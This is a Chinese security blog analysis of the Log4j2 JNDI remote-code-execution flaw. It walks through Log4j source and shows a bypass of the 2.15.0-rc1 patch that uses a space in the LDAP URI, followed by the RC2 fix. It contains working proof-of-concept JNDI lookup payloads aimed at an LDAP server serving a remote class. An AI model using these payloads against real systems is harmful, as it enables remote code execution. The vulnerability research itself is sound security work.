<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Apache Log4j2從RCE到RC1繞過

    VSole2021-12-12 07:27:37

    Apache Log4j2從RCE到RC1繞過

    本文首發于先知社區:https://xz.aliyun.com/t/10649

    0x00 介紹

    Log4j2Java開發常用的日志框架,該漏洞觸發條件低,危害大,由阿里云安全團隊報告

    POC比較簡單

    public static void main(String[] args) throws Exception {
        logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");
    }
    

    截圖如下

    0x01 RCE分析

    首先來看RCE是怎樣的原理,先來一段又臭又長的流程分析

    看看從logger.errorJndiLookup.lookup中間經歷了些什么

    logger.error()層層跟到AbstractLogger.tryLogMessage.log方法

    private void tryLogMessage(final String fqcn,
                               final StackTraceElement location,
                               final Level level,
                               final Marker marker,
                               final Message message,
                               final Throwable throwable) {
        try {
            log(level, marker, fqcn, location, message, throwable);
        } catch (final Exception e) {
            handleLogMessageException(e, fqcn, message);
        }
    }
    

    不動態調試的情況下跟log方法會到AbstractLogger.log方法,實際上這里是org.apache.logging.log4j.core.Loggger.log方法

    @Override
    protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location,
                       final Message message, final Throwable throwable) {
        final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();
        if (strategy instanceof LocationAwareReliabilityStrategy) {
            // 觸發點
            ((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,
                                                              message, throwable);
        } else {
            strategy.log(this, getName(), fqcn, marker, level, message, throwable);
        }
    }
    

    跟入這里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log

    @Override
    public void log(final Supplier reconfigured, final String loggerName, final String fqcn,
                    final StackTraceElement location, final Marker marker, final Level level, final Message data,
                    final Throwable t) {
        loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
    }
    

    進入LoggerConfig.log方法

        @PerformanceSensitive("allocation")
        public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
            final Level level, final Message data, final Throwable t) {
            // 無需關心的代碼
            ...
            try {
                // 跟入
                log(logEvent, LoggerConfigPredicate.ALL);
            } finally {
                ReusableLogEventFactory.release(logEvent);
            }
        }
    

    進入LoggerConfig另一處重載log方法

    protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {
        if (!isFiltered(event)) {
            // 跟入
            processLogEvent(event, predicate);
        }
    }
    private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
        event.setIncludeLocation(isIncludeLocation());
        if (predicate.allow(this)) {
            // 關鍵點
            callAppenders(event);
        }
        logParent(event, predicate);
    }
    

    可以看到調用appender.controlcallAppender方法

    @PerformanceSensitive("allocation")
    protected void callAppenders(final LogEvent event) {
        final AppenderControl[] controls = appenders.get();
        //noinspection ForLoopReplaceableByForEach
        for (int i = 0; i < controls.length; i++) {
            controls[i].callAppender(event);
        }
    }
    

    層層跟入到AppenderControl.tryCallAppender方法

    private void callAppender0(final LogEvent event) {    ensureAppenderStarted();    if (!isFilteredByAppender(event)) {        // 跟入        tryCallAppender(event);    }}
    private void tryCallAppender(final LogEvent event) {    try {        // 跟入        appender.append(event);    } catch (final RuntimeException error) {        handleAppenderError(event, error);    } catch (final Exception error) {        handleAppenderError(event, new AppenderLoggingException(error));    }}
    

    進入AbstractOutputStreamAppender.append方法,進入到directEncodeEvent方法

    protected void directEncodeEvent(final LogEvent event) {    getLayout().encode(event, manager);    if (this.immediateFlush || event.isEndOfBatch()) {        manager.flush();    }}
    

    關注其中的encode方法跟入到PatternLayout.encode方法

    @Overridepublic void encode(final LogEvent event, final ByteBufferDestination destination) {    if (!(eventSerializer instanceof Serializer2)) {        super.encode(event, destination);        return;    }    final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());    final Encoder encoder = getStringBuilderEncoder();    encoder.encode(text, destination);    trimToMaxSize(text);}
    

    不用關心多余的代碼,這里觸發點在toText方法

    private StringBuilder toText(final Serializer2 serializer, final LogEvent event,                             final StringBuilder destination) {    return serializer.toSerializable(event, destination);}
    @Overridepublic StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {    final int len = formatters.length;    for (int i = 0; i < len; i++) {        // 發現其中某一處format方法觸發漏洞        formatters[i].format(event, buffer);    }    if (replace != null) {        String str = buffer.toString();        str = replace.format(str);        buffer.setLength(0);        buffer.append(str);    }    return buffer;}
    

    這里的formatters方法包含了多個formatter對象,其中出發漏洞的是第8個,其中包含MessagePatternConverter

    跟入看到調用了Converter相關的方法

    public void format(final LogEvent event, final StringBuilder buf) {    if (skipFormattingInfo) {        converter.format(event, buf);    } else {        formatWithInfo(event, buf);    }}
    

    不難看出每個formatterconverter為了構造日志的每一部分,這里在構造真正的日志信息字符串部分

    跟入MessagePatternConverter.format方法,看到核心的部分

    @Overridepublic void format(final LogEvent event, final StringBuilder toAppendTo) {    final Message msg = event.getMessage();    if (msg instanceof StringBuilderFormattable) {        final boolean doRender = textRenderer != null;        final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;        final int offset = workingBuilder.length();        if (msg instanceof MultiFormatStringBuilderFormattable) {            ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);        } else {            ((StringBuilderFormattable) msg).formatTo(workingBuilder);        }        if (config != null && !noLookups) {            for (int i = offset; i < workingBuilder.length() - 1; i++) {                // 是否以${開頭                if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {                    // 這個value是:${jndi:ldap://127.0.0.1:1389/badClassName}                    final String value = workingBuilder.substring(offset, workingBuilder.length());                    workingBuilder.setLength(offset);                    // 跟入replace方法                    workingBuilder.append(config.getStrSubstitutor().replace(event, value));                }            }        }        if (doRender) {            textRenderer.render(workingBuilder, toAppendTo);        }        return;    }    if (msg != null) {        String result;        if (msg instanceof MultiformatMessage) {            result = ((MultiformatMessage) msg).getFormattedMessage(formats);        } else {            result = msg.getFormattedMessage();        }        if (result != null) {            toAppendTo.append(config != null && result.contains("${")                              ? config.getStrSubstitutor().replace(event, result) : result);        } else {            toAppendTo.append("null");        }    }}
    

    進入StrSubstitutor.replace方法

    public String replace(final LogEvent event, final String source) {    if (source == null) {        return null;    }    final StringBuilder buf = new StringBuilder(source);    // 跟入    if (!substitute(event, buf, 0, source.length())) {        return source;    }    return buf.toString();}
    

    跟入StrSubstitutor.subtute方法,存在遞歸,邏輯較長

    主要作用是遞歸處理日志輸入,轉為對應的輸出

    private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,                       List priorVariables) {    ...    substitute(event, bufName, 0, bufName.length());    ...    String varValue = resolveVariable(event, varName, buf, startPos, endPos);    ...    int change = substitute(event, buf, startPos, varLen, priorVariables);}
    

    其實這里是出發漏洞的必要條件,通常情況下程序員會這樣寫日志相關代碼

    logger.error("error_message:" + info);

    黑客的惡意輸入有可能進入info變量導致這里變成

    logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");

    這里的遞歸處理成功地讓jndi:ldap://127.0.0.1:1389/badClassName進入resolveVariable方法

    經過調試確認了關鍵方法resolveVariable

    protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,                                 final int startPos, final int endPos) {    final StrLookup resolver = getVariableResolver();    if (resolver == null) {        return null;    }    // 進入    return resolver.lookup(event, variableName);}
    

    跟入這里的lookup可以看到很多師傅們截圖的方法

    @Overridepublic String lookup(final LogEvent event, String var) {    if (var == null) {        return null;    }    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);    if (prefixPos >= 0) {        final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);        final String name = var.substring(prefixPos + 1);        // 關鍵        final StrLookup lookup = strLookupMap.get(prefix);        if (lookup instanceof ConfigurationAware) {            ((ConfigurationAware) lookup).setConfiguration(configuration);        }        String value = null;        if (lookup != null) {            // 這里的name是:ldap://127.0.0.1:1389/badClassName            value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);        }        if (value != null) {            return value;        }        var = var.substring(prefixPos + 1);    }    if (defaultLookup != null) {        return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);    }    return null;}
    

    這里的strLookupMap中包含了多種Lookup對象

    類似地,可以看這樣利用

    logger.error("${java:runtime}");// 打印00:36:26.312 [main] ERROR Main - Java(TM) SE Runtime Environment (build 1.8.0_131-b11) from Oracle Corporation
    

    跟入JndiLookup.lookup

    @Overridepublic String lookup(final LogEvent event, final String key) {    if (key == null) {        return null;    }    final String jndiName = convertJndiName(key);    try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {        // 跟入lookup        return Objects.toString(jndiManager.lookup(jndiName), null);    } catch (final NamingException e) {        LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);        return null;    }}
    

    最后觸發點JndiManager.lookup

    @SuppressWarnings("unchecked")public  T lookup(final String name) throws NamingException {    return (T) this.context.lookup(name);}
    

    0x03 RC1修復繞過

    修復版本2.15.0-rc1

    跟了下流程發現到PatternLayout.toSerializable方法發生了變化

    不過這里的變化沒有什么影響,其中的formatters屬性的變化導致了${}不會被處理

    @Overridepublic StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {    for (PatternFormatter formatter : formatters) {        formatter.format(event, buffer);    }    return buffer;}
    

    上文提到這里某個formatter包含了MessagePatternConverter

    在修復后變成了MessagePatternConverter.SimplePatternConverter

    可以發現在這個類中變成了直接拼接字符串的操作,不去判斷${}這種情況

    private static final class SimpleMessagePatternConverter extends MessagePatternConverter {    private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter();    @Override    public void format(final LogEvent event, final StringBuilder toAppendTo) {        Message msg = event.getMessage();        // 直接拼接字符串        if (msg instanceof StringBuilderFormattable) {            ((StringBuilderFormattable) msg).formatTo(toAppendTo);        } else if (msg != null) {            toAppendTo.append(msg.getFormattedMessage());        }    }}
    

    注意到另一個子類LookupMessagePatternConverter

    如果Converter被設置為該類,那么會繼續進行${}的處理

    private static final class LookupMessagePatternConverter extends MessagePatternConverter {    private final MessagePatternConverter delegate;    private final Configuration config;    LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) {        this.delegate = delegate;        this.config = config;    }    @Override    public void format(final LogEvent event, final StringBuilder toAppendTo) {        int start = toAppendTo.length();        delegate.format(event, toAppendTo);        // 判斷${}        int indexOfSubstitution = toAppendTo.indexOf("${", start);        if (indexOfSubstitution >= 0) {            config.getStrSubstitutor()                // 進入了上文的流程                .replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);        }    }}
    

    具體需要設置為哪一個子類取決于用戶的配置

    private static final String LOOKUPS = "lookups";private static final String NOLOOKUPS = "nolookups";public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {    boolean lookups = loadLookups(options);    String[] formats = withoutLookupOptions(options);    TextRenderer textRenderer = loadMessageRenderer(formats);    // 默認不配置lookup功能    MessagePatternConverter result = formats == null || formats.length == 0        ? SimpleMessagePatternConverter.INSTANCE        : new FormattedMessagePatternConverter(formats);    if (lookups && config != null) {        // 只有用戶進行配置才會觸發        result = new LookupMessagePatternConverter(result, config);    }    if (textRenderer != null) {        result = new RenderingPatternConverter(result, textRenderer);    }    return result;}
    

    于是想辦法開啟lookup功能分析后續有沒有限制

    final Configuration config = new DefaultConfigurationBuilder().build(true);// 配置開啟lookup功能final MessagePatternConverter converter =    MessagePatternConverter.newInstance(config, new String[] {"lookups"});final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1:1389/badClassName}");final LogEvent event = Log4jLogEvent.newBuilder()    .setLoggerName("MyLogger")    .setLevel(Level.DEBUG)    .setMessage(msg).build();final StringBuilder sb = new StringBuilder();converter.format(event, sb);System.out.println(sb);
    

    成功開啟lookups功能,調用LookupMessagePatternConverter.fomat方法

    遞歸處理等過程均沒有變化,最后JndiManager.lookup觸發漏洞的地方進行了修改

    public synchronized  T lookup(final String name) throws NamingException {    try {        URI uri = new URI(name);        if (uri.getScheme() != null) {            // 允許的協議白名單            if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {                LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());                return null;            }            if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {                // 允許的host白名單                if (!allowedHosts.contains(uri.getHost())) {                    LOGGER.warn("Attempt to access ldap server not in allowed list");                    return null;                }                Attributes attributes = this.context.getAttributes(name);                if (attributes != null) {                    Map attributeMap = new HashMap<>();                    NamingEnumeration enumeration = attributes.getAll();                    while (enumeration.hasMore()) {                        Attribute attribute = enumeration.next();                        attributeMap.put(attribute.getID(), attribute);                    }                    Attribute classNameAttr = attributeMap.get(CLASS_NAME);                    // 參考下圖我們這種Payload不存在javaSerializedData頭                    // 所以不會進入類白名單判斷                    if (attributeMap.get(SERIALIZED_DATA) != null) {                        if (classNameAttr != null) {                            // 類名白名單                            String className = classNameAttr.get().toString();                            if (!allowedClasses.contains(className)) {                                LOGGER.warn("Deserialization of {} is not allowed", className);                                return null;                            }                        } else {                            LOGGER.warn("No class name provided for {}", name);                            return null;                        }                    } else if (attributeMap.get(REFERENCE_ADDRESS) != null                               || attributeMap.get(OBJECT_FACTORY) != null) {                        // 不允許REFERENCE這種加載對象的方式                        LOGGER.warn("Referenceable class is not allowed for {}", name);                        return null;                    }                }            }        }    } catch (URISyntaxException ex) {        // This is OK.    }    return (T) this.context.lookup(name);}
    

    看看實際運行中,這幾個白名單是怎樣的

    默認的協議是:javaldapldaps

    默認數據類型是八大基本數據類型

    默認的Host白名單是localhost

    實際上攔住Payload是在最后一處OBJECT_FACTORY判斷

    由于RCE一定需要加載遠程對象,那么避免不了javaFactory屬性(或者有一些其他思路,筆者剛做Java安全不了解)

    看起來無懈可擊,然而這里有一處細節問題

    public synchronized  T lookup(final String name) throws NamingException {    try {        URI uri = new URI(name);        ...    } catch (URISyntaxException ex) {        // This is OK.    }    return (T) this.context.lookup(name);}
    

    如果發生了URISyntaxException異常會直接this.context.lookup

    能否想辦法讓new URI(name);時候報錯但name傳入context.lookup(name);時正常

    經過測試發現URI中不進行URL編碼會報這個錯,加個空格即可觸發${jndi:ldap://127.0.0.1:1389/ badClassName}

    成功RCE(需要用戶開啟lookup功能的基礎上才可以)

    0x04 RC2修復

    RC2的修復方案是直接return,有效解決了上文的繞過

    try{} catch (URISyntaxException ex) {    LOGGER.warn("Invalid JNDI URI - {}", name);    return null;}return (T) this.context.lookup(name);
    

    不過再RC2的修復情況下發現另外的漏洞,很雞肋,后續分析

    stringlog4j
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    目前的Log4j2檢測都需要借助dnslog平臺,是否存在不借助dnslog的檢測方式呢
    Apache Log4j2從RCE到RC1繞過本文首發于先知社區:https://xz.aliyun.com
    Java命名和目錄接口是Java編程語言中接口的名稱( JNDI )。它是一個API(應用程序接口),與服務器一起工作,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。 可以使用命名約定從數據庫獲取文件。JNDI為Java?戶提供了使?Java編碼語?在Java中搜索對象的?具。 簡單來說呢,JNDI相當與是Java里面的一個api,它可以通過命名來查找數據和對象。
    前言昨天晚上朋友圈算是過了年了,一個log4j大伙都忙了起來,看著朋友圈好久沒這么熱鬧了。Apache 的這
    據外媒消息,Spring官方日前在github上更新了一條可能導致命令執行漏洞的修復代碼,該漏洞目前在互聯網中已被成功驗證。研究機構將該漏洞評價為高危級。對于應用JDK版本號為9及以上的企業,建議盡快開展Spring框架使用情況的排查與漏洞處置工作。漏洞修復目前,spring官方尚未正式發布漏洞補丁,安全專家建議采用以下二個臨時方案進行防護
    Apache Log4j2是一款優秀的Java日志框架,最近爆出了一個jndi注入的漏洞,影響面非常廣,各大廠商都被波及。Log4j2作為日志記錄的第三方庫,被廣泛得到使用,這次主要分享一下,最近的一些調試記錄。
    分析漏洞的本質是為了能讓我們從中學習漏洞挖掘者的思路以及挖掘到新的漏洞,而CodeQL就是一款可以將我們對漏洞的理解快速轉化為可實現的規則并挖掘漏洞的利器。根據網上的傳言Log4j2的RCE漏洞就是作者通過CodeQL挖掘出的。雖然如何挖掘的我們不得而知,但我們現在站在事后的角度再去想想,可以推測一下作者如何通過CodeQL挖掘到漏洞的,并嘗試基于作者的思路挖掘新漏洞。
    最近這log4j熱度很高。好久沒寫文章了,而且目前市面有些文章里面的內容信息已經有些過時缺少最新信息迭代,借此機會我劍指系列基于國內外的關于此漏洞的研究我進行了總結和歸納,并且將我自己目前發現的小眾的技巧方法分享給各位,希望能給各位帶來幫助不會讓各位失望。
    這篇文章,我嘗試讓所有技術相關的朋友都能看懂:這個注定會載入網絡安全史冊上的漏洞,到底是怎么一回事!
    最近Log4j的漏洞引起了很多師傅對JNDI注入漏洞利用的研究,淺藍師傅的文章探索高版本 JDK 下 JNDI漏洞的利用方法提出了很多關于繞過JNDI高版本限制的方法,本文主要是對文章中的部分方法進行分析并加上一些我個人的思考。 前言
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类